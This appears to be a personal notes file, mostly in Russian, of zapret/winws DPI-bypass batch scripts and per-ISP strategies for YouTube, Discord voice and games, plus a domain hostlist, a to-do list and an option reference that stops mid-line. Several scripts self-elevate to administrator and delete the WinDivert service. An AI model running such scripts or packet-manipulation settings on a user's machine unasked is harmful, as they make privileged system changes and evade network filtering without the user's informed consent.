--dpi-desync-fooling=md5sig,badseq --new ^ --filter-tcp=6695-6705 --dpi-desync=fake,split2 --dpi-desync-repeats=8 --dpi-desync-fooling=md5sig --dpi-desync-autottl=2 --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=443 --hostlist="youtube.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 --new ^ --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake ``` ## Flowseal 1.6.1 ### alt1_161.bat ```bash @echo off start "alt1 1.6.1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake,split --dpi-desync-autottl=5 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="other.txt" --dpi-desync=fake,split --dpi-desync-autottl=5 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" ``` ### alt2_161.bat ```bash @echo off start "alt2 1.6.1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=652 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="other.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=652 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="tls_clienthello_www_google_com.bin" ``` ### alt3_161.bat ```bash @echo off start "alt3 1.6.1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=split --dpi-desync-split-pos=1 --dpi-desync-autottl --dpi-desync-fooling=badseq --dpi-desync-repeats=8 --new ^ --filter-tcp=443 --hostlist="other.txt" --dpi-desync=split --dpi-desync-split-pos=1 --dpi-desync-autottl --dpi-desync-fooling=badseq --dpi-desync-repeats=8 ``` ### alt4_161.bat ```bash @echo off start "alt4 1.6.1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=8 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="other.txt" --dpi-desync=fake,split2 --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" ``` ### alt5_161.bat ```bash @echo off start "alt5 1.6.1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-l3=ipv4 --filter-tcp=443 --dpi-desync=syndata ``` ### altmgts1_161.bat ```bash @echo off start "altmgts1 1.6.1" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-autottl=2 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" ``` ### altmgts2_161.bat ```bash @echo off start "zapret: general" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=d3 --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" ``` ## Flowseal 1.8.0 ### alt1_180.bat ```bash @echo off taskkill /f /im winws.exe >nul 2>&1 sc stop windivert >nul 2>&1 sc delete windivert >nul 2>&1 sc delete windivert >nul 2>&1 cd /d "%~dp0" start "zapret: alt1 1.8.0" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100,1024-65535 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake,split --dpi-desync-autottl=5 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=443 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --ipset="ipset-all.txt" --dpi-desync=fake,split --dpi-desync-autottl=5 --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=5056,27002 --dpi-desync-any-protocol --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-cutoff=n15 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --new ^ --filter-udp=1024-65535 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-autottl=2 --dpi-desync-repeats=12 --dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --dpi-desync-cutoff=n3 ``` ### alt2_180.bat ```bash @echo off taskkill /f /im winws.exe >nul 2>&1 sc stop windivert >nul 2>&1 sc delete windivert >nul 2>&1 sc delete windivert >nul 2>&1 cd /d "%~dp0" start "zapret: alt2 1.8.0" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100,1024-65535 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=652 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=443 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --ipset="ipset-all.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=652 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=5056,27002 --dpi-desync-any-protocol --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-cutoff=n15 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --new ^ --filter-udp=1024-65535 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-autottl=2 --dpi-desync-repeats=12 --dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --dpi-desync-cutoff=n2 ``` ### alt3_180.bat ```bash @echo off taskkill /f /im winws.exe >nul 2>&1 sc stop windivert >nul 2>&1 sc delete windivert >nul 2>&1 sc delete windivert >nul 2>&1 cd /d "%~dp0" start "zapret: alt3 1.8.0" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100,1024-65535 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=split --dpi-desync-split-pos=1 --dpi-desync-autottl --dpi-desync-fooling=badseq --dpi-desync-repeats=8 --new ^ --filter-udp=443 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --ipset="ipset-all.txt" --dpi-desync=split --dpi-desync-split-pos=1 --dpi-desync-autottl --dpi-desync-fooling=badseq --dpi-desync-repeats=8 --new ^ --filter-udp=5056,27002 --dpi-desync-any-protocol --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-cutoff=n15 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --new ^ --filter-udp=1024-65535 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-autottl=2 --dpi-desync-repeats=10 --dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --dpi-desync-cutoff=n2 ``` ### alt4_180.bat ```bash @echo off taskkill /f /im winws.exe >nul 2>&1 sc stop windivert >nul 2>&1 sc delete windivert >nul 2>&1 sc delete windivert >nul 2>&1 cd /d "%~dp0" start "zapret: alt3 1.8.0" /b "winws.exe" --wf-tcp=80,443 --wf-udp=443,50000-50100,1024-65535 ^ --filter-udp=443 --hostlist="list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-general.txt" --dpi-desync=fake,split2 --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=443 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --ipset="ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-udp=5056,27002 --dpi-desync-any-protocol --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-cutoff=n15 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --new ^ --filter-udp=1024-65535 --ipset="ipset-all.txt" --dpi-desync=fake --dpi-desync-autottl=2 --dpi-desync-repeats=10 --dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="quic_initial_www_google_com.bin" --dpi-desync-cutoff=n2 ``` ## Другое https://github.com/bol-van/zapret/discussions/1597#discussioncomment-13673444 steam known ports udp 27000-27100 - game traffic udp 3478,4379,4380,27014-27030 - p2p networking phasmophobia known-ish ports (more here) tcp 27015,27036 - no idea tcp/udp 5055,5056,5058 - no idea udp 27000-27002,27015,27031-27036 - steam если забить на tcp, то получим порты 5055,5056,5058,27000-27002,27015,27031-27036 пробуйте. в идеале, конечно, вооружиться анализом трафика... но токсичить мне уже достаточно в этой репе, так что тыкать по этому поводу не буду. если я сделали ошибку прошу тыкнуть носом ### discord_voice_md5sig_badseq.bat https://github.com/bol-van/zapret/discussions/1349 ```bash @echo off setlocal C:\Windows\System32\fsutil.exe dirty query %systemdrive% >nul 2>&1 if %errorlevel% neq 0 ( echo Requesting administrator privileges... C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process '%~f0' -Verb RunAs" exit /b ) C:\Windows\System32\taskkill.exe /F /IM winws.exe C:\Windows\System32\timeout.exe 1 >nul cd /d "%~dp0" set "LISTDIR=%~dp0..\lists" set "BIN=%~dp0..\bin" set "EXE=%~dp0..\exe" C:\Windows\System32\sc.exe stop WinDivert C:\Windows\System32\sc.exe delete WinDivert start "Discord Voice https://t.me/bypassblock" /b "%EXE%\winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake --new --filter-tcp=80 --hostlist="%LISTDIR%\list-youtube.txt" --dpi-desync=fake,multisplit --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum --new --filter-tcp=443 --hostlist="%LISTDIR%\list-youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=method+2,midsld,5 --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum,badseq --dpi-desync-repeats=15 --dpi-desync-fake-tls="%BIN%\tls_clienthello_www_google_com.bin" --new --filter-udp=443 --hostlist="%LISTDIR%\list-youtube.txt" --dpi-desync=fake --dpi-desync-repeats=15 --dpi-desync-ttl=0 --dpi-desync-any-protocol --dpi-desync-cutoff=d4 --dpi-desync-fooling=md5sig,badsum --dpi-desync-fake-quic="%BIN%\quic_initial_www_google_com.bin" --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake --new ``` ### discord_voice_dtls.bat ```bash @echo off setlocal C:\Windows\System32\fsutil.exe dirty query %systemdrive% >nul 2>&1 if %errorlevel% neq 0 ( echo Requesting administrator privileges... C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process '%~f0' -Verb RunAs" exit /b ) C:\Windows\System32\taskkill.exe /F /IM winws.exe C:\Windows\System32\timeout.exe 1 >nul cd /d "%~dp0" set "LISTDIR=%~dp0..\lists" set "BIN=%~dp0..\bin" set "EXE=%~dp0..\exe" C:\Windows\System32\sc.exe stop WinDivert C:\Windows\System32\sc.exe delete WinDivert start "Discord Voice https://t.me/bypassblock" /b "%EXE%\winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=80 --hostlist="%LISTDIR%\russia-blacklist.txt" --dpi-desync=fake,multisplit --dpi-desync-split-pos=method+2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="%LISTDIR%\russia-blacklist.txt" --hostlist="%LISTDIR%\other.txt" --hostlist="%LISTDIR%\youtube.txt" --hostlist="%LISTDIR%\discord.txt" --dpi-desync=fake,multidisorder --dpi-desync-fake-tls="%BIN%\dtls_clienthello_w3_org.bin" --dpi-desync-split-pos=1,midsld --dpi-desync-fooling=badseq,md5sig --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-fake-quic="%BIN%\quic_initial_www_google_com.bin" --dpi-desync-repeats=6 --new ^ --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake,tamper --dpi-desync-repeats=6 --dpi-desync-fake-discord=0x00 ``` ### split_pos.bat ```bash @echo off setlocal C:\Windows\System32\fsutil.exe dirty query %systemdrive% >nul 2>&1 if %errorlevel% neq 0 ( echo Requesting administrator privileges... C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process '%~f0' -Verb RunAs" exit /b ) C:\Windows\System32\taskkill.exe /F /IM winws.exe C:\Windows\System32\timeout.exe 1 >nul cd /d "%~dp0" set "LISTDIR=%~dp0..\lists" set "BIN=%~dp0..\bin" set "EXE=%~dp0..\exe" C:\Windows\System32\sc.exe stop WinDivert C:\Windows\System32\sc.exe delete WinDivert start "split pos https://t.me/bypassblock" /b "%EXE%\winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=80,443 --wf-udp=443,50000-50100 ^ --filter-tcp=443 --hostlist="%LISTDIR%\russia-blacklist.txt" --hostlist="%LISTDIR%\other.txt" --hostlist="%LISTDIR%\youtube.txt" --hostlist="%LISTDIR%\discord.txt" --dpi-desync=fake,multidisorder --dpi-desync-fake-tls-mod=rnd,dupsid --dpi-desync-repeats=3 --dpi-desync-split-pos=100,midsld,sniext+1,endhost-2,-10 --dpi-desync-ttl=4 --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-fake-quic="%BIN%\quic_initial_www_google_com.bin" --dpi-desync-repeats=6 --new ^ --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake,tamper --dpi-desync-repeats=6 --dpi-desync-fake-discord=0x00 ``` ### НАСТРОЙКИ ДЛЯ РЕГИОНАЛЬНЫХ ПРОВАЙДЕРОВ ```bash--filter-tcp=80 --dpi-desync=fake,multisplit --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum --new --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=method+2,midsld,5 --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum,badseq --dpi-desync-repeats=15 --dpi-desync-fake-tls=/opt/zapret/files/fake/tls_clienthello_www_google_com.bin --new --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=15 --dpi-desync-ttl=0 --dpi-desync-any-protocol --dpi-desync-cutoff=d4 --dpi-desync-fooling=md5sig,badsum --dpi-desync-fake-quic=/opt/zapret/files/fake/quic_initial_www_google_com.bin ``` ### НАСТРОЙКИ ДЛЯ БИЛАЙН ```bash --filter-tcp=80 --dpi-desync=fake,split2 --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum --new --filter-tcp=443 --dpi-desync=fake,disorder2 --dpi-desync-split-pos=1 --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum --dpi-desync-repeats=15 --dpi-desync-any-protocol --dpi-desync-cutoff=d4 --dpi-desync-fake-tls=/opt/zapret/files/fake/tls_clienthello_www_google_com.bin --new --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=15 --dpi-desync-ttl=0 --dpi-desync-any-protocol --dpi-desync-cutoff=d4 --dpi-desync-fooling=md5sig,badsum --dpi-desync-fake-quic=/opt/zapret/files/fake/quic_initial_www_google_com.bin ``` ### Discord Voice ```bash --filter-tcp=80 --dpi-desync=fake,fakedsplit --dpi-desync-autottl=2 --dpi-desync-fooling=badseq --new --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=badseq --dpi-desync-fake-tls-mod=rnd,dupsid,sni=www.google.com --new --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --new --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic=/opt/zapret/files/fake/quic_initial_www_google_com.bin --new --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 --new --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-fake-discord=0x00 --dpi-desync-fake-stun=0x00 ``` ### Discord Voice 2 https://github.com/bol-van/zapret/discussions/1553 ```bash --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-split-pos=1,midsld --dpi-desync-fooling=badseq,md5sig ......................................... --filter-l3=ipv4 --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl=1:3-20 --dpi-desync-repeats=2 --dpi-desync-cutoff=d3 ....................................... --filter-tcp=443 --dpi-desync=multidisorder --dpi-desync-split-pos=1,sniext+1,host+1,midsld-2,midsld,midsld+2,endhost-1 --hostlist=/opt/zapret/ipset/list-discord.txt --new --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-autottl=1:3-20 --dpi-desync-repeats=6 --dpi-desync-cutoff=d3 ``` ### EvEOnline ```bash --filter-tcp=5222 --filter-udp=5222 --dpi-desync=syndata ``` ### Ростелеком https://github.com/bol-van/zapret/discussions/200#discussioncomment-13555655 ```bash --filter-tcp=80 --dpi-desync=fake,multisplit --dpi-desync-ttl=1 --dpi-desync-fooling=md5sig --dpi-desync-split-pos=method+2 --new --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=2 --dpi-desync-ttl=1 --dpi-desync-autottl=-2 --dpi-desync-fake-tls=0x00000000 --dpi-desync-fake-tls=! --dpi-desync-fake-tls-mod=rnd,rndsni,dupsid --new --filter-udp=443,1024-65535 --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic=/opt/zapret/files/fake/quic_initial_www_google_com.bin ``` ### Ростелеком МРФ Урал ```bash --filter-tcp=80 --dpi-desync=fake,multisplit --dpi-desync-ttl=0 --dpi-desync-fooling=md5sig,badsum --new --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-fooling=md5sig,badseq --dpi-desync-fake-tls=/opt/zapret/files/fake/tls_clienthello_www_google_com.bin --new --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic=/opt/zapret/files/fake/quic_initial_www_google_com.bin --new --filter-udp=50000-50099 --dpi-desync=fake --filter-l7=discord,stun ``` ``` nonexistent.domain googlevideo.com youtubei.googleapis.com i.ytimg.com yt3.ggpht.com cdn.discordapp.com cloudflare-dns.com cloudflare-ech.com cloudflare-ipfs.com static-cloudflare.top openai.com.cdn.cloudflare.net challenges.cloudflare.com cloudflare.com a.nel.cloudflare.com dns.cloudflare.com alec.ns.cloudflare.com cloudflare.net dis.gd discord-activites.com discord-attachments-uploads-prd.storage.googleapis.com discord.app discord.co discord.com discord.design discord.dev discord.gg discord.gift discord.gifts discord.media discord.net discord.status discord.store discord.tools discordactivites.com discordapp.com discordapp.io discordapp.net discordcdn.com discordmerch.com discordpartygames.com discordsays.com discordsez.com discordstatus.com dn.com gateway.discord.gg googleapis.com images-ext-1.discordapp.net media.discordapp.net stable.dl2.discordapp.net tenor.com twitter.com t.co *.twimg.com ads-twitter.com x.com ``` ### --- Кто нибудь знает, на айфон воркает? https://chromewebstore.google.com/detail/ttv-lol-pro/bpaoeijjlplfjbagceilcgbkcdjbomjd?pli=1 - [ ] 16.2.0.1 после обновления залить 99 на старый сайт и еxe файлы вручную чтобы перенести со старого на новый сайт всё - [ ] сделать анонсы в чатжпт через opus - [ ] Добавить тех поддержку (сделать анонс изменения коммитов через бота нового чтобы он писал что поменялось и что добавилось), в репозитории будет туду список [[Zapret]] --- ```bash @|$ ; читать конфигурацию из файла. опция должна быть первой. остальные опции игнорируются. --debug=0|1 ; 1=выводить отладочные сообщения --dry-run ; проверить опции командной строки и выйти. код 0 - успешная проверка. --version ; вывести версию и выйти --comment ; любой текст (игнорируется) --daemon ; демонизировать прогу --pidfile= ; сохранить PID в файл --user= ; менять uid процесса --uid=uid[:gid] ; менять uid процесса --qnum=N ; номер очереди N --bind-fix4 ; пытаться решить проблему неверного выбора исходящего интерфейса для сгенерированных ipv4 пакетов --bind-fix6 ; пытаться решить проблему неверного выбора исходящего интерфейса для сгенерированных ipv6 пакетов --ctrack-timeouts=S:E:F[:U] ; таймауты внутреннего conntrack в состояниях SYN, ESTABLISHED, FIN, таймаут udp. по умолчанию 60:300:60:60 --ctrack-disable=[0|1] ; 1 или остутствие аргумента отключает conntrack --ipcache-lifetime= ; время жизни записей кэша IP в секундах. 0 - без ограничений. --ipcache-hostname=[0|1] ; 1 или отсутствие аргумента включают кэширование имен хостов для применения в стратегиях нулевой фазы --wsize=[:] ; менять tcp window size на указанный размер в SYN,ACK. если не задан scale_factor, то он не меняется (устарело !) --wssize=[:] ; менять tcp window size на указанный размер в исходящих пакетах. scale_factor по умолчанию 0. (см. conntrack !) --wssize-cutoff=[n|d|s]N ; изменять server window size в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по номеру меньше N --wssize-forced-cutoff=0|1 ; 1(default)=автоматически отключать wssize в случае обнаружения известного протокола --synack-split=[syn|synack|acksyn] ; выполнить tcp split handshake. вместо SYN,ACK отсылать только SYN, SYN+ACK или ACK+SYN --orig-ttl= ; модифицировать TTL оригинального пакета --orig-ttl6= ; модифицировать ipv6 hop limit оригинальных пакетов. если не указано, используется значение --orig-ttl --orig-autottl=[[:[-]]|-] ; режим auto ttl для ipv4 и ipv6. по умолчанию: +5:3-64. "0:0-0" или "-" отключает функцию --orig-autottl6=[[:[-]]|-] ; переопределение предыдущего параметра для ipv6 --orig-tcp-flags-set= ; устанавливать указанные tcp флаги (flags |= value). число , либо список через запятую : FIN,SYN,RST,PSH,ACK,URG,ECE,CWR,AE,R1,R2,R3 --orig-tcp-flags-unset= ; удалять указанные tcp флаги (flags &= ~value) --orig-mod-start=[n|d|s]N ; применять orig-mod только в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по номеру больше или равно N --orig-mod-cutoff=[n|d|s]N ; применять orig-mod только в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по номеру меньше N --dup= ; высылать N дубликатов до оригинала --dup-replace=[0|1] ; 1 или отсутствие аргумента блокирует отправку оригинала. отправляются только дубликаты. --dup-ttl= ; модифицировать TTL дубликатов --dup-ttl6= ; модифицировать ipv6 hop limit дубликатов. если не указано, используется значение --dup-ttl --dup-autottl=[[:[-]]|-] ; режим auto ttl для ipv4 и ipv6. по умолчанию: +1:3-64. "0:0-0" или "-" отключает функцию --dup-autottl6=[[:[-]]|-] ; переопределение предыдущего параметра для ipv6 --dup-tcp-flags-set= ; устанавливать указанные tcp флаги (flags |= value). число , либо список через запятую : FIN,SYN,RST,PSH,ACK,URG,ECE,CWR,AE,R1,R2,R3 --dup-tcp-flags-unset= ; удалять указанные tcp флаги (flags &= ~value) --dup-fooling= ; дополнительные методики как сделать, чтобы дубликат не дошел до сервера. none md5sig badseq badsum datanoack ts hopbyhop hopbyhop2 --dup-ts-increment= ; инкремент TSval для ts. по умолчанию -600000 --dup-badseq-increment= ; инкремент sequence number для badseq. по умолчанию -10000 --dup-badack-increment= ; инкремент ack sequence number для badseq. по умолчанию -66000 --dup-ip-id=same|zero|seq|rnd ; режим назначения ip_id для пакетов dup --dup-start=[n|d|s]N ; применять dup только в исходящих пакетах (n), пакетах данных (d), относительных sequence (s) по 